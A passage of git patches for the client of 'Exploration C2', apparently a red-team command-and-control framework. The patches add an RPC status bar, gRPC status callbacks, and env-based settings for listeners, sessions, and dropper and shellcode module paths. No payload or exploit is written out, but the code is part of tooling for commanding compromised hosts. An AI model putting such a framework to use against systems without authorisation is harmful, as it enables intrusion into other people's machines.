From f78407bee97553c667c2a1530b71a62b953b9c47 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Mon, 4 May 2026 15:41:32 +0200 Subject: [PATCH 01/82] feat(c2client): add RPC status bar --- C2Client/C2Client/GUI.py | 68 ++++++++++++++++ C2Client/C2Client/grpcClient.py | 123 ++++++++++++++++++----------- C2Client/tests/test_grpc_client.py | 22 ++++++ C2Client/tests/test_gui_startup.py | 25 ++++++ 4 files changed, 191 insertions(+), 47 deletions(-) diff --git a/C2Client/C2Client/GUI.py b/C2Client/C2Client/GUI.py index e7393d5..5c17be4 100644 --- a/C2Client/C2Client/GUI.py +++ b/C2Client/C2Client/GUI.py @@ -3,8 +3,10 @@ import os import signal import sys +from datetime import datetime from typing import Optional, Tuple +from PyQt6.QtCore import QObject, Qt, pyqtSignal from PyQt6.QtWidgets import ( QApplication, QDialog, @@ -36,6 +38,12 @@ signal.signal(signal.SIGINT, signal.SIG_DFL) +class RpcStatusEvents(QObject): + """Bridge gRPC worker-thread status callbacks back to the Qt UI thread.""" + + rpcStatus = pyqtSignal(str, bool, str) + + class CredentialDialog(QDialog): """Prompt for credentials when environment variables are absent.""" @@ -109,6 +117,8 @@ def __init__(self, ip: str, port: int, devMode: bool, credentials: Optional[Tupl raise e self.createPayloadWindow: Optional[QWidget] = None + self.operatorUsername = username or getattr(self.grpcClient, "username", "") or "unknown" + self._lastRpcError = "" self.title = 'Exploration C2' self.left = 0 @@ -117,6 +127,12 @@ def __init__(self, ip: str, port: int, devMode: bool, credentials: Optional[Tupl self.height = 1000 self.setWindowTitle(self.title) self.setGeometry(self.left, self.top, self.width, self.height) + + self.rpcStatusEvents = RpcStatusEvents(self) + self.rpcStatusEvents.rpcStatus.connect(self.updateRpcStatus) + if hasattr(self.grpcClient, "set_status_callback"): + self.grpcClient.set_status_callback(self.rpcStatusEvents.rpcStatus.emit) + self.setupStatusBar() central_widget = QWidget() self.setCentralWidget(central_widget) @@ -140,6 +156,58 @@ def __init__(self, ip: str, port: int, devMode: bool, credentials: Optional[Tupl self.consoleWidget.script.mainScriptMethod("start", "", "", "") + def setupStatusBar(self) -> None: + """Initialise the persistent connection and RPC status widgets.""" + + self.connectionStatusLabel = QLabel(self) + self.rpcStatusLabel = QLabel("Last RPC: none", self) + self.errorStatusLabel = QLabel("Last error: none", self) + + for label in (self.connectionStatusLabel, self.rpcStatusLabel, self.errorStatusLabel): + label.setTextInteractionFlags(Qt.TextInteractionFlag.TextSelectableByMouse) + + status_bar = self.statusBar() + status_bar.setSizeGripEnabled(False) + status_bar.addWidget(self.connectionStatusLabel, 5) + status_bar.addPermanentWidget(self.rpcStatusLabel, 2) + status_bar.addPermanentWidget(self.errorStatusLabel, 4) + + self.setConnectionStatus(True) + + def setConnectionStatus(self, connected: bool) -> None: + state = "Connected" if connected else "RPC error" + endpoint = getattr(self.grpcClient, "endpoint", f"{self.ip}:{self.port}") + client_id = getattr(self.grpcClient, "client_id", "") + client_id_text = f" | client {client_id[:8]}" if client_id else "" + cert_path = getattr(self.grpcClient, "ca_cert_path", "") + cert_name = os.path.basename(cert_path) if cert_path else "unknown cert" + tls_mode = "dev TLS" if self.devMode else "TLS" + self.connectionStatusLabel.setText( + f"{state} | {endpoint} | user {self.operatorUsername} | {tls_mode} | cert {cert_name}{client_id_text}", + ) + color = "#0a7f2e" if connected else "#b00020" + self.connectionStatusLabel.setStyleSheet(f"color: {color};") + + def updateRpcStatus(self, operation: str, ok: bool, message: str) -> None: + timestamp = datetime.now().strftime("%H:%M:%S") + self.setConnectionStatus(ok) + self.rpcStatusLabel.setText(f"Last RPC: {operation or 'unknown'} at {timestamp}") + + if not ok: + self._lastRpcError = self.compactStatusMessage(f"{operation}: {message}") + self.errorStatusLabel.setText(f"Last error: {self._lastRpcError}") + self.errorStatusLabel.setStyleSheet("color: #b00020;") + elif not self._lastRpcError: + self.errorStatusLabel.setText("Last error: none") + self.errorStatusLabel.setStyleSheet("") + + @staticmethod + def compactStatusMessage(message: str, limit: int = 160) -> str: + text = " ".join(str(message or "").split()) + if len(text) <= limit: + return text + return text[: limit - 3] + "..." + def topLayout(self) -> None: """Initialise the upper part of the main window.""" diff --git a/C2Client/C2Client/grpcClient.py b/C2Client/C2Client/grpcClient.py index 37d4af5..324da44 100644 --- a/C2Client/C2Client/grpcClient.py +++ b/C2Client/C2Client/grpcClient.py @@ -8,13 +8,14 @@ import logging import os import uuid -from typing import Any, Iterable, List, Tuple, Optional +from typing import Any, Callable, Iterable, List, Tuple, Optional import grpc from .protocol_bindings import TeamServerApi_pb2, TeamServerApi_pb2_grpc MetadataType = List[Tuple[str, str]] +StatusCallback = Callable[[str, bool, str], None] class GrpcClient: @@ -45,6 +46,18 @@ def __init__( username: Optional[str] = None, password: Optional[str] = None, ) -> None: + self.ip = ip + self.port = port + self.endpoint = f"{ip}:{port}" + self.devMode = devMode + self.username = username or "" + self.ca_cert_path = "" + self.client_id = str(uuid.uuid4())[:16] + self.last_rpc_operation = "" + self.last_rpc_ok = True + self.last_rpc_message = "" + self._status_callback: Optional[StatusCallback] = None + env_cert_path = os.getenv('C2_CERT_PATH') if env_cert_path and os.path.isfile(env_cert_path): @@ -60,6 +73,7 @@ def __init__( "Using default certificate: %s. To use a custom C2 certificate, set the C2_CERT_PATH environment variable.", ca_cert, ) + self.ca_cert_path = ca_cert if os.path.exists(ca_cert): with open(ca_cert, 'rb') as fh: @@ -103,12 +117,56 @@ def __init__( if token is None: if username is None or password is None: username, password = self._load_credentials_from_env() + self.username = username token = self._authenticate(username, password) self.metadata: MetadataType = [ ("authorization", f"Bearer {token}"), - ("clientid", str(uuid.uuid4())[:16]), + ("clientid", self.client_id), ] + self._notify_rpc_status("Connect", True) + + def set_status_callback(self, callback: Optional[StatusCallback]) -> None: + """Register a callback receiving RPC status updates.""" + + self._status_callback = callback + + def _notify_rpc_status(self, operation: str, ok: bool, message: str = "") -> None: + self.last_rpc_operation = operation + self.last_rpc_ok = ok + self.last_rpc_message = message + if self._status_callback: + self._status_callback(operation, ok, message) + + def _rpc_error_message(self, exc: grpc.RpcError) -> str: + details = "" + try: + details = exc.details() or "" + except Exception: + details = "" + return details or str(exc) + + def _unary_rpc(self, operation: str, call: Callable[[], Any]) -> Any: + try: + response = call() + self._notify_rpc_status(operation, True) + return response + except grpc.RpcError as exc: + message = self._rpc_error_message(exc) + logging.error("%s RPC failed: %s", operation, exc) + self._notify_rpc_status(operation, False, message) + raise + + def _stream_rpc(self, operation: str, call: Callable[[], Iterable[Any]]) -> Iterable[Any]: + try: + for response in call(): + yield response + self._notify_rpc_status(operation, True) + except grpc.RpcError as exc: + message = self._rpc_error_message(exc) + logging.error("%s RPC failed: %s", operation, exc) + self._notify_rpc_status(operation, False, message) + raise def _load_credentials_from_env(self) -> Tuple[str, str]: username = os.getenv("C2_USERNAME") @@ -128,87 +186,58 @@ def _authenticate(self, username: str, password: str) -> str: raise ValueError(f"grpcClient: authentication failed: {message}") logging.info("Authenticated against TeamServer as %s", username) + self._notify_rpc_status("Authenticate", True) return response.token def listListeners(self) -> Any: """Return the list of listeners registered on the TeamServer.""" empty = TeamServerApi_pb2.Empty() - try: - return self.stub.ListListeners(empty, metadata=self.metadata) - except grpc.RpcError as exc: - logging.error("ListListeners RPC failed: %s", exc) - raise + return self._stream_rpc("ListListeners", lambda: self.stub.ListListeners(empty, metadata=self.metadata)) def addListener(self, listener: Any) -> Any: """Add a new listener on the TeamServer.""" - try: - return self.stub.AddListener(listener, metadata=self.metadata) - except grpc.RpcError as exc: - logging.error("AddListener RPC failed: %s", exc) - raise + return self._unary_rpc("AddListener", lambda: self.stub.AddListener(listener, metadata=self.metadata)) def stopListener(self, listener: Any) -> Any: """Stop a running listener.""" - try: - return self.stub.StopListener(listener, metadata=self.metadata) - except grpc.RpcError as exc: - logging.error("StopListener RPC failed: %s", exc) - raise + return self._unary_rpc("StopListener", lambda: self.stub.StopListener(listener, metadata=self.metadata)) def listSessions(self) -> Any: """Return all active sessions.""" empty = TeamServerApi_pb2.Empty() - try: - return self.stub.ListSessions(empty, metadata=self.metadata) - except grpc.RpcError as exc: - logging.error("ListSessions RPC failed: %s", exc) - raise + return self._stream_rpc("ListSessions", lambda: self.stub.ListSessions(empty, metadata=self.metadata)) def stopSession(self, session: Any) -> Any: """Terminate a session.""" - try: - return self.stub.StopSession(session, metadata=self.metadata) - except grpc.RpcError as exc: - logging.error("StopSession RPC failed: %s", exc) - raise + return self._unary_rpc("StopSession", lambda: self.stub.StopSession(session, metadata=self.metadata)) def sendSessionCommand(self, command: Any) -> Any: """Send a command to the specified session.""" - try: - return self.stub.SendSessionCommand(command, metadata=self.metadata) - except grpc.RpcError as exc: - logging.error("SendSessionCommand RPC failed: %s", exc) - raise + return self._unary_rpc("SendSessionCommand", lambda: self.stub.SendSessionCommand(command, metadata=self.metadata)) def streamSessionCommandResults(self, session: Any) -> Iterable[Any]: """Yield responses for a given session.""" - try: - return self.stub.StreamSessionCommandResults(session, metadata=self.metadata) - except grpc.RpcError as exc: - logging.error("StreamSessionCommandResults RPC failed: %s", exc) - raise + return self._stream_rpc( + "StreamSessionCommandResults", + lambda: self.stub.StreamSessionCommandResults(session, metadata=self.metadata), + ) def getCommandHelp(self, command: Any) -> Any: """Return help information for a command.""" - try: - return self.stub.GetCommandHelp(command, metadata=self.metadata) - except grpc.RpcError as exc: - logging.error("GetCommandHelp RPC failed: %s", exc) - raise + return self._unary_rpc("GetCommandHelp", lambda: self.stub.GetCommandHelp(command, metadata=self.metadata)) def executeTerminalCommand(self, command: Any) -> Any: """Send a command to the TeamServer terminal.""" - try: - return self.stub.ExecuteTerminalCommand(command, metadata=self.metadata) - except grpc.RpcError as exc: - logging.error("ExecuteTerminalCommand RPC failed: %s", exc) - raise + return self._unary_rpc( + "ExecuteTerminalCommand", + lambda: self.stub.ExecuteTerminalCommand(command, metadata=self.metadata), + ) diff --git a/C2Client/tests/test_grpc_client.py b/C2Client/tests/test_grpc_client.py index d92bcdd..a918735 100644 --- a/C2Client/tests/test_grpc_client.py +++ b/C2Client/tests/test_grpc_client.py @@ -29,6 +29,28 @@ def test_grpc_client_reads_certificate_and_sets_metadata(tmp_path, monkeypatch): client = GrpcClient("127.0.0.1", 50051, False, token="tok") assert ("authorization", "Bearer tok") in client.metadata + assert ("clientid", client.client_id) in client.metadata + assert client.endpoint == "127.0.0.1:50051" + assert client.ca_cert_path == str(cert) + + +def test_grpc_client_reports_rpc_status(tmp_path, monkeypatch): + cert = tmp_path / "cert.crt" + cert.write_text("cert") + monkeypatch.setenv("C2_CERT_PATH", str(cert)) + monkeypatch.setattr(grpc, "ssl_channel_credentials", lambda _: object()) + monkeypatch.setattr(grpc, "secure_channel", lambda *args, **kwargs: object()) + monkeypatch.setattr(grpc, "channel_ready_future", lambda channel: DummyFuture()) + stub = mock.MagicMock() + stub.ListListeners.return_value = iter([]) + monkeypatch.setattr(TeamServerApi_pb2_grpc, "TeamServerApiStub", lambda channel: stub) + + client = GrpcClient("127.0.0.1", 50051, False, token="tok") + events = [] + client.set_status_callback(lambda operation, ok, message: events.append((operation, ok, message))) + + assert list(client.listListeners()) == [] + assert events == [("ListListeners", True, "")] def test_grpc_client_connection_error(tmp_path, monkeypatch): diff --git a/C2Client/tests/test_gui_startup.py b/C2Client/tests/test_gui_startup.py index fd883ec..be04d45 100644 --- a/C2Client/tests/test_gui_startup.py +++ b/C2Client/tests/test_gui_startup.py @@ -56,3 +56,28 @@ def fake_bot(self): assert isinstance(app.consoleWidget, DummyConsole) assert isinstance(app.listenersWidget, DummyWidget) assert isinstance(app.sessionsWidget, DummyWidget) + assert "Connected | 127.0.0.1:50051" in app.connectionStatusLabel.text() + assert app.rpcStatusLabel.text() == "Last RPC: none" + + +def test_gui_status_bar_updates_rpc_status(qtbot, monkeypatch): + monkeypatch.setattr(GUI, 'GrpcClient', lambda *args, **kwargs: object()) + + def fake_top(self): + self.sessionsWidget = DummyWidget() + self.listenersWidget = DummyWidget() + + def fake_bot(self): + self.consoleWidget = DummyConsole() + + monkeypatch.setattr(GUI.App, 'topLayout', fake_top) + monkeypatch.setattr(GUI.App, 'botLayout', fake_bot) + + app = GUI.App('127.0.0.1', 50051, False) + qtbot.addWidget(app) + + app.updateRpcStatus("ListSessions", False, "deadline exceeded") + + assert "RPC error" in app.connectionStatusLabel.text() + assert "Last RPC: ListSessions" in app.rpcStatusLabel.text() + assert "ListSessions: deadline exceeded" in app.errorStatusLabel.text() From b0123552bc8dfbc3491226b8ccf6ed2e8faee8c8 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Mon, 4 May 2026 15:56:00 +0200 Subject: [PATCH 02/82] feat(c2client): centralize env-backed client config --- C2Client/.env.example | 35 ++++++++-- C2Client/C2Client/AssistantPanel.py | 14 ++-- C2Client/C2Client/ConsolePanel.py | 24 ++++--- C2Client/C2Client/GUI.py | 41 +++++++++--- C2Client/C2Client/GraphPanel.py | 5 +- C2Client/C2Client/ListenerPanel.py | 4 +- C2Client/C2Client/SessionPanel.py | 4 +- C2Client/C2Client/TerminalPanel.py | 47 +++++++++----- C2Client/C2Client/env.py | 85 +++++++++++++++++++++++- C2Client/C2Client/grpcClient.py | 31 ++++++--- C2Client/C2Client/protocol_bindings.py | 9 +-- C2Client/TODO.md | 89 ++++++++++++++++++++++++++ C2Client/tests/test_env_loading.py | 46 ++++++++++++- C2Client/tests/test_grpc_client.py | 46 ++++++++++++- C2Client/tests/test_gui_startup.py | 24 +++++++ 15 files changed, 433 insertions(+), 71 deletions(-) create mode 100644 C2Client/TODO.md diff --git a/C2Client/.env.example b/C2Client/.env.example index a7478d7..1c75558 100644 --- a/C2Client/.env.example +++ b/C2Client/.env.example @@ -1,5 +1,28 @@ # Copy this file to C2Client/.env and adjust local values. # Values already present in the process environment take precedence. +# Relative paths are resolved from the directory containing this .env file. + +# TeamServer connection +C2_IP=127.0.0.1 +C2_PORT=50051 +C2_DEV_MODE=false +C2_CERT_PATH= +C2_USERNAME= +C2_PASSWORD= + +# Generated protocol bindings +C2_PROTOCOL_PYTHON_ROOT= + +# Client UI +C2_UI_THEME=dark +C2_SESSION_REFRESH_MS=2000 +C2_LISTENER_REFRESH_MS=2000 +C2_GRAPH_REFRESH_MS=2000 +C2_LOG_DIR= + +# gRPC +C2_GRPC_CONNECT_TIMEOUT_MS=10000 +C2_GRPC_MAX_MESSAGE_MB=512 # OpenAI provider OPENAI_API_KEY= @@ -18,10 +41,8 @@ C2_ASSISTANT_MEMORY_TEMPERATURE=0.05 C2_ASSISTANT_MAX_TOOL_CALLS=10 C2_ASSISTANT_PENDING_TIMEOUT_MS=120000 -# TeamServer authentication -C2_USERNAME= -C2_PASSWORD= - -# Optional runtime paths -# C2_CERT_PATH=/absolute/path/to/server.crt -# C2_PROTOCOL_PYTHON_ROOT=/absolute/path/to/generated/protocol/python +# Local modules +C2_DROPPER_MODULES_DIR= +C2_DROPPER_MODULES_CONF= +C2_SHELLCODE_MODULES_DIR= +C2_SHELLCODE_MODULES_CONF= diff --git a/C2Client/C2Client/AssistantPanel.py b/C2Client/C2Client/AssistantPanel.py index e73cc7b..8ddc538 100644 --- a/C2Client/C2Client/AssistantPanel.py +++ b/C2Client/C2Client/AssistantPanel.py @@ -15,19 +15,17 @@ import markdown from .assistant_agent import C2AssistantAgent +from .env import env_int DEFAULT_PENDING_TOOL_TIMEOUT_MS = 2 * 60 * 1000 def _load_pending_tool_timeout_ms(): - value = os.environ.get("C2_ASSISTANT_PENDING_TIMEOUT_MS") - if not value: - return DEFAULT_PENDING_TOOL_TIMEOUT_MS - - try: - return max(0, int(value)) - except ValueError: - return DEFAULT_PENDING_TOOL_TIMEOUT_MS + return env_int( + "C2_ASSISTANT_PENDING_TIMEOUT_MS", + DEFAULT_PENDING_TOOL_TIMEOUT_MS, + minimum=0, + ) # diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 1d5c6cf..4034a63 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -25,26 +25,30 @@ from .ScriptPanel import Script from .AssistantPanel import Assistant from .TerminalModules.Credentials import credentials +from .env import env_path from .grpc_status import is_response_ok, response_message # # Log # -try: - import pkg_resources - logsDir = pkg_resources.resource_filename( - 'C2Client', - 'logs' - ) - -except ImportError: - logsDir = os.path.join(os.path.dirname(__file__), 'logs') +configuredLogsDir = env_path("C2_LOG_DIR") +if configuredLogsDir: + logsDir = str(configuredLogsDir) +else: + try: + import pkg_resources + logsDir = pkg_resources.resource_filename( + 'C2Client', + 'logs' + ) + + except ImportError: + logsDir = os.path.join(os.path.dirname(__file__), 'logs') if not os.path.exists(logsDir): os.makedirs(logsDir) - # # Constant # diff --git a/C2Client/C2Client/GUI.py b/C2Client/C2Client/GUI.py index 5c17be4..33358e0 100644 --- a/C2Client/C2Client/GUI.py +++ b/C2Client/C2Client/GUI.py @@ -27,7 +27,7 @@ from .SessionPanel import Sessions from .ConsolePanel import ConsolesTab from .GraphPanel import Graph -from .env import load_c2_env +from .env import env_bool, env_int, env_value, load_c2_env import qdarktheme @@ -257,20 +257,43 @@ def payloadForm(self) -> None: self.createPayloadWindow.show() -def main() -> None: - """Entry point used by the project script.""" +def build_arg_parser() -> argparse.ArgumentParser: + """Build the CLI parser using environment-backed defaults.""" - load_c2_env() + default_ip = env_value("C2_IP", "127.0.0.1") + default_port = env_int("C2_PORT", 50051, minimum=1, maximum=65535) + default_dev_mode = env_bool("C2_DEV_MODE", False) parser = argparse.ArgumentParser(description='TeamServer IP and port.') - parser.add_argument('--ip', default='127.0.0.1', help='IP address (default: 127.0.0.1)') - parser.add_argument('--port', type=int, default=50051, help='Port number (default: 50051)') - parser.add_argument('--dev', action='store_true', help='Enable developer mode to disable the SSL hostname check.') + parser.add_argument('--ip', default=default_ip, help=f'IP address (default: {default_ip})') + parser.add_argument('--port', type=int, default=default_port, help=f'Port number (default: {default_port})') + parser.add_argument( + '--dev', + action=argparse.BooleanOptionalAction, + default=default_dev_mode, + help='Enable developer mode to disable the SSL hostname check.', + ) + return parser + + +def parse_client_args(argv: Optional[list[str]] = None) -> argparse.Namespace: + """Parse client arguments after loading `.env` values.""" + + load_c2_env() + return build_arg_parser().parse_args(argv) + + +def main() -> None: + """Entry point used by the project script.""" - args = parser.parse_args() + args = parse_client_args() app = QApplication(sys.argv) - app.setStyleSheet(qdarktheme.load_stylesheet()) + theme = env_value("C2_UI_THEME", "dark").strip().lower() + if theme in {"dark", "light"}: + app.setStyleSheet(qdarktheme.load_stylesheet(theme)) + elif theme not in {"native", "none"}: + app.setStyleSheet(qdarktheme.load_stylesheet()) username = os.getenv("C2_USERNAME") password = os.getenv("C2_PASSWORD") diff --git a/C2Client/C2Client/GraphPanel.py b/C2Client/C2Client/GraphPanel.py index ecd22a3..4988efe 100644 --- a/C2Client/C2Client/GraphPanel.py +++ b/C2Client/C2Client/GraphPanel.py @@ -15,6 +15,8 @@ QGraphicsItem, ) +from .env import env_int + # # Constant @@ -346,6 +348,7 @@ class GetGraphInfoWorker(QObject): def __init__(self, parent=None): super().__init__(parent) self.exit = False + self.refreshIntervalSeconds = env_int("C2_GRAPH_REFRESH_MS", 2000, minimum=100) / 1000 def __del__(self): self.exit=True @@ -355,7 +358,7 @@ def run(self): while self.exit==False: if self.receivers(self.checkin) > 0: self.checkin.emit() - time.sleep(2) + time.sleep(self.refreshIntervalSeconds) except Exception as e: pass diff --git a/C2Client/C2Client/ListenerPanel.py b/C2Client/C2Client/ListenerPanel.py index ee64f42..d0b18f6 100644 --- a/C2Client/C2Client/ListenerPanel.py +++ b/C2Client/C2Client/ListenerPanel.py @@ -19,6 +19,7 @@ ) from .grpcClient import TeamServerApi_pb2 +from .env import env_int from .grpc_status import is_response_ok, operation_ack_text @@ -319,6 +320,7 @@ class GetListenerWorker(QObject): def __init__(self, parent=None): super().__init__(parent) self.exit = False + self.refreshIntervalSeconds = env_int("C2_LISTENER_REFRESH_MS", 2000, minimum=100) / 1000 def __del__(self): self.exit=True @@ -328,7 +330,7 @@ def run(self): while self.exit==False: if self.receivers(self.checkin) > 0: self.checkin.emit() - time.sleep(2) + time.sleep(self.refreshIntervalSeconds) except Exception as e: pass diff --git a/C2Client/C2Client/SessionPanel.py b/C2Client/C2Client/SessionPanel.py index f2aafd8..1082c43 100644 --- a/C2Client/C2Client/SessionPanel.py +++ b/C2Client/C2Client/SessionPanel.py @@ -15,6 +15,7 @@ ) from .grpcClient import TeamServerApi_pb2 +from .env import env_int from .grpc_status import is_response_ok, operation_ack_text @@ -270,6 +271,7 @@ class GetSessionsWorker(QObject): def __init__(self, parent=None): super().__init__(parent) self.exit = False + self.refreshIntervalSeconds = env_int("C2_SESSION_REFRESH_MS", 2000, minimum=100) / 1000 def __del__(self): self.exit=True @@ -279,7 +281,7 @@ def run(self): while self.exit==False: if self.receivers(self.checkin) > 0: self.checkin.emit() - time.sleep(2) + time.sleep(self.refreshIntervalSeconds) except Exception as e: pass diff --git a/C2Client/C2Client/TerminalPanel.py b/C2Client/C2Client/TerminalPanel.py index b562829..9d1d9e0 100644 --- a/C2Client/C2Client/TerminalPanel.py +++ b/C2Client/C2Client/TerminalPanel.py @@ -17,6 +17,7 @@ ) from .grpcClient import TeamServerApi_pb2 +from .env import env_path from .grpc_status import is_response_ok, terminal_response_text from .TerminalModules.Batcave import batcave from .TerminalModules.Credentials import credentials @@ -27,20 +28,25 @@ # # Dropper modules # +configuredDropperModulesDir = env_path("C2_DROPPER_MODULES_DIR") +configuredDropperModulesPath = env_path("C2_DROPPER_MODULES_CONF") try: import pkg_resources - dropperModulesDir = pkg_resources.resource_filename( + defaultDropperModulesDir = pkg_resources.resource_filename( 'C2Client', 'DropperModules' ) - DropperModulesPath = pkg_resources.resource_filename( + defaultDropperModulesPath = pkg_resources.resource_filename( 'C2Client', 'DropperModules.conf' ) except ImportError: - dropperModulesDir = os.path.join(os.path.dirname(__file__), 'DropperModules') - DropperModulesPath = os.path.join(os.path.dirname(__file__), 'DropperModules.conf') + defaultDropperModulesDir = os.path.join(os.path.dirname(__file__), 'DropperModules') + defaultDropperModulesPath = os.path.join(os.path.dirname(__file__), 'DropperModules.conf') + +dropperModulesDir = str(configuredDropperModulesDir) if configuredDropperModulesDir else defaultDropperModulesDir +DropperModulesPath = str(configuredDropperModulesPath) if configuredDropperModulesPath else defaultDropperModulesPath if not os.path.exists(dropperModulesDir): os.makedirs(dropperModulesDir) @@ -83,20 +89,25 @@ import donut +configuredShellCodeModulesDir = env_path("C2_SHELLCODE_MODULES_DIR") +configuredShellCodeModulesPath = env_path("C2_SHELLCODE_MODULES_CONF") try: import pkg_resources - shellCodeModulesDir = pkg_resources.resource_filename( + defaultShellCodeModulesDir = pkg_resources.resource_filename( 'C2Client', 'ShellCodeModules' ) - ShellCodeModulesPath = pkg_resources.resource_filename( + defaultShellCodeModulesPath = pkg_resources.resource_filename( 'C2Client', 'ShellCodeModules.conf' ) except ImportError: - shellCodeModulesDir = os.path.join(os.path.dirname(__file__), 'ShellCodeModules') - ShellCodeModulesPath = os.path.join(os.path.dirname(__file__), 'ShellCodeModules.conf') + defaultShellCodeModulesDir = os.path.join(os.path.dirname(__file__), 'ShellCodeModules') + defaultShellCodeModulesPath = os.path.join(os.path.dirname(__file__), 'ShellCodeModules.conf') + +shellCodeModulesDir = str(configuredShellCodeModulesDir) if configuredShellCodeModulesDir else defaultShellCodeModulesDir +ShellCodeModulesPath = str(configuredShellCodeModulesPath) if configuredShellCodeModulesPath else defaultShellCodeModulesPath if not os.path.exists(shellCodeModulesDir): os.makedirs(shellCodeModulesDir) @@ -137,15 +148,19 @@ # # Log # -try: - import pkg_resources - logsDir = pkg_resources.resource_filename( - 'C2Client', - 'logs' - ) +configuredLogsDir = env_path("C2_LOG_DIR") +if configuredLogsDir: + logsDir = str(configuredLogsDir) +else: + try: + import pkg_resources + logsDir = pkg_resources.resource_filename( + 'C2Client', + 'logs' + ) -except ImportError: - logsDir = os.path.join(os.path.dirname(__file__), 'logs') + except ImportError: + logsDir = os.path.join(os.path.dirname(__file__), 'logs') if not os.path.exists(logsDir): os.makedirs(logsDir) diff --git a/C2Client/C2Client/env.py b/C2Client/C2Client/env.py index 974b052..9caf89d 100644 --- a/C2Client/C2Client/env.py +++ b/C2Client/C2Client/env.py @@ -6,6 +6,22 @@ from typing import Iterable +PATH_ENV_KEYS = { + "C2_CERT_PATH", + "C2_PROTOCOL_PYTHON_ROOT", + "C2_LOG_DIR", + "C2_DROPPER_MODULES_DIR", + "C2_DROPPER_MODULES_CONF", + "C2_SHELLCODE_MODULES_DIR", + "C2_SHELLCODE_MODULES_CONF", +} + +TRUE_VALUES = {"1", "true", "yes", "y", "on"} +FALSE_VALUES = {"0", "false", "no", "n", "off"} + +_AUTO_ENV_LOADED = False + + def default_env_paths() -> list[Path]: package_root = Path(__file__).resolve().parents[1] @@ -20,6 +36,8 @@ def default_env_paths() -> list[Path]: def load_c2_env(paths: Iterable[Path] | None = None, *, override: bool = False) -> list[Path]: + global _AUTO_ENV_LOADED + loaded: list[Path] = [] seen: set[Path] = set() for raw_path in paths or default_env_paths(): @@ -31,6 +49,7 @@ def load_c2_env(paths: Iterable[Path] | None = None, *, override: bool = False) continue _load_env_file(path, override=override) loaded.append(path) + _AUTO_ENV_LOADED = True return loaded @@ -47,7 +66,10 @@ def _load_env_file(path: Path, *, override: bool) -> None: if not key or (not override and key in os.environ): continue - os.environ[key] = _parse_env_value(value.strip()) + parsed_value = _parse_env_value(value.strip()) + if key in PATH_ENV_KEYS: + parsed_value = _resolve_env_path_value(path, parsed_value) + os.environ[key] = parsed_value def _parse_env_value(value: str) -> str: @@ -60,3 +82,64 @@ def _parse_env_value(value: str) -> str: if not parts: return "" return parts[0] + + +def _resolve_env_path_value(env_file_path: Path, value: str) -> str: + if not value: + return "" + + candidate = Path(value).expanduser() + if not candidate.is_absolute(): + candidate = env_file_path.parent / candidate + return str(candidate.resolve()) + + +def ensure_c2_env_loaded() -> None: + global _AUTO_ENV_LOADED + + if _AUTO_ENV_LOADED: + return + load_c2_env() + + +def env_value(key: str, default: str = "") -> str: + ensure_c2_env_loaded() + return os.getenv(key, default) + + +def env_bool(key: str, default: bool = False) -> bool: + value = env_value(key, "") + if not value: + return default + + normalized = value.strip().lower() + if normalized in TRUE_VALUES: + return True + if normalized in FALSE_VALUES: + return False + return default + + +def env_int(key: str, default: int, *, minimum: int | None = None, maximum: int | None = None) -> int: + value = env_value(key, "") + try: + parsed = int(value) + except (TypeError, ValueError): + parsed = default + + if minimum is not None: + parsed = max(minimum, parsed) + if maximum is not None: + parsed = min(maximum, parsed) + return parsed + + +def env_path(key: str, default: Path | None = None) -> Path | None: + value = env_value(key, "") + if not value: + return default + + path = Path(value).expanduser() + if not path.is_absolute(): + path = Path.cwd() / path + return path.resolve() diff --git a/C2Client/C2Client/grpcClient.py b/C2Client/C2Client/grpcClient.py index 324da44..af578d5 100644 --- a/C2Client/C2Client/grpcClient.py +++ b/C2Client/C2Client/grpcClient.py @@ -11,6 +11,7 @@ from typing import Any, Callable, Iterable, List, Tuple, Optional import grpc +from .env import env_int, env_path from .protocol_bindings import TeamServerApi_pb2, TeamServerApi_pb2_grpc @@ -58,10 +59,16 @@ def __init__( self.last_rpc_message = "" self._status_callback: Optional[StatusCallback] = None - env_cert_path = os.getenv('C2_CERT_PATH') + configured_cert_path = env_path("C2_CERT_PATH") - if env_cert_path and os.path.isfile(env_cert_path): - ca_cert = env_cert_path + if configured_cert_path: + if not configured_cert_path.is_file(): + logging.error( + "Configured C2 certificate does not exist: %s", + configured_cert_path, + ) + raise ValueError(f"grpcClient: configured certificate not found: {configured_cert_path}") + ca_cert = str(configured_cert_path) logging.info("Using certificate from environment variable: %s", ca_cert) else: try: @@ -86,28 +93,32 @@ def __init__( raise ValueError("grpcClient: Certificate not found") credentials = grpc.ssl_channel_credentials(root_certs) + self.max_message_mb = env_int("C2_GRPC_MAX_MESSAGE_MB", 512, minimum=1) + self.max_message_bytes = self.max_message_mb * 1024 * 1024 + self.connect_timeout_ms = env_int("C2_GRPC_CONNECT_TIMEOUT_MS", 0, minimum=0) + channel_options = [ + ('grpc.max_send_message_length', self.max_message_bytes), + ('grpc.max_receive_message_length', self.max_message_bytes), + ] if devMode: self.channel = grpc.secure_channel( f"{ip}:{port}", credentials, options=[ ('grpc.ssl_target_name_override', 'localhost'), - ('grpc.max_send_message_length', 512 * 1024 * 1024), - ('grpc.max_receive_message_length', 512 * 1024 * 1024), + *channel_options, ], ) else: self.channel = grpc.secure_channel( f"{ip}:{port}", credentials, - options=[ - ('grpc.max_send_message_length', 512 * 1024 * 1024), - ('grpc.max_receive_message_length', 512 * 1024 * 1024), - ], + options=channel_options, ) try: - grpc.channel_ready_future(self.channel).result() + timeout = self.connect_timeout_ms / 1000 if self.connect_timeout_ms else None + grpc.channel_ready_future(self.channel).result(timeout=timeout) except grpc.RpcError as exc: logging.error("Failed to connect to gRPC server: %s", exc) raise ValueError("grpcClient: unable to connect") from exc diff --git a/C2Client/C2Client/protocol_bindings.py b/C2Client/C2Client/protocol_bindings.py index 8b94268..ca20a04 100644 --- a/C2Client/C2Client/protocol_bindings.py +++ b/C2Client/C2Client/protocol_bindings.py @@ -3,18 +3,19 @@ from __future__ import annotations import importlib -import os import sys from pathlib import Path from typing import Tuple +from .env import env_path + def _candidate_protocol_roots() -> list[Path]: candidates: list[Path] = [] - env_value = os.getenv("C2_PROTOCOL_PYTHON_ROOT") - if env_value: - 